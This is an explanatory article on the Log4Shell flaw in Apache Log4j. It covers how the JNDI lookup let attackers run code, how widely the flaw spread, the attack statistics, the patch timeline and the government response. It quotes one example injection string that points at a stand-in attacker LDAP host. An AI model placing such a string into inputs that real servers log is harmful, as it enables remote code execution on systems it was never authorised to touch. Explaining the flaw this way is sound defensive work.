Log4Shell: when a line in a log runs the attacker's code

On December 9, 2021, a flaw in Log4j became public in a post on Twitter. Log4j is a library from the Apache Software Foundation. Java programs use it to write logs, the records of what a program does. If such a program logged a short line of text from an attacker, the server could load and run the attacker’s code. No password was needed.

The US National Vulnerability Database rates the flaw, known as Log4Shell, at 10.0, the highest possible score.

How it worked

Log4j does more than write log messages. It also evaluates placeholders inside them, called lookups, which look like ${...}. One of these lookups, JNDI, lets the library fetch an object from a directory server on the network. An attacker only had to get a string such as ${jndi:ldap://attacker.example/x} into something the server logged. That could be a username, a chat message, or the browser name that a web request usually carries. The server then contacted the attacker’s directory server and received a reference to a Java program. Depending on the Java version and the libraries present, it loaded and ran that program.

Reach, attacks and damage

Maven Central is the main public store of Java libraries. On December 16, 2021, Google counted 35,863 Java packages there that depended on the flawed Log4j code. That is more than 8 % of all packages in the store, while the average security advisory for Maven Central affects 2 %. Only around 7,000 of these packages used Log4j directly. The rest included it through other packages, mostly five levels down.

Attacks began before the flaw was public. Cloudflare saw limited testing on December 1, eight days before the disclosure. Its first attack attempt came just nine minutes after the post.

Five days after the disclosure, Cloudflare saw 400 attempts per second, the US Cyber Safety Review Board noted. By December 20, the security company Check Point had blocked more than 4.3 million attempts. It had seen attempts on more than 48 % of corporate networks worldwide. These are attempts counted in each vendor’s own data, not successful break-ins. The figures cannot be compared with each other.

How much damage was done is not documented. The Cyber Safety Review Board reviewed the case in 2022. It found that exploitation stayed lower than many experts had predicted for such a severe flaw. It also stressed that no authoritative data on exploitation exists. The cost lay mainly in the response: one US federal department alone reported 33,000 hours of work on Log4j.

The fix and the response

The Alibaba Cloud Security Team reported the flaw to Apache on November 24, 2021. Apache committed a fix on December 5 and made version 2.15.0 available on December 10. That fix was incomplete, and three more releases followed.

The follow-up flaws got CVE numbers of their own. CVE-2021-45046, the gap in 2.15.0, is rated 9.0. CVE-2021-45105, the crash, is rated 5.9. CVE-2021-44832, rated 6.6, only works for an attacker who can already change the logging settings. For programs on older Java versions, Apache released 2.12.4 for Java 7 and 2.3.2 for Java 6.

Governments reacted quickly. CISA, the US cybersecurity agency, put Log4Shell on its list of exploited vulnerabilities on December 10, the day the first fix came out. Germany’s Federal Office for Information Security (BSI) raised its warning to level red on December 11. On December 17, CISA issued Emergency Directive 22-02, an order that US federal agencies must follow.

Still in use years later

Many copies stayed unfixed. Google expected a long wait, likely years, before the whole Maven ecosystem was fixed. In 2025, about 13 % of all Log4j downloads, roughly 40 million, still contained Log4Shell, Sonatype reports.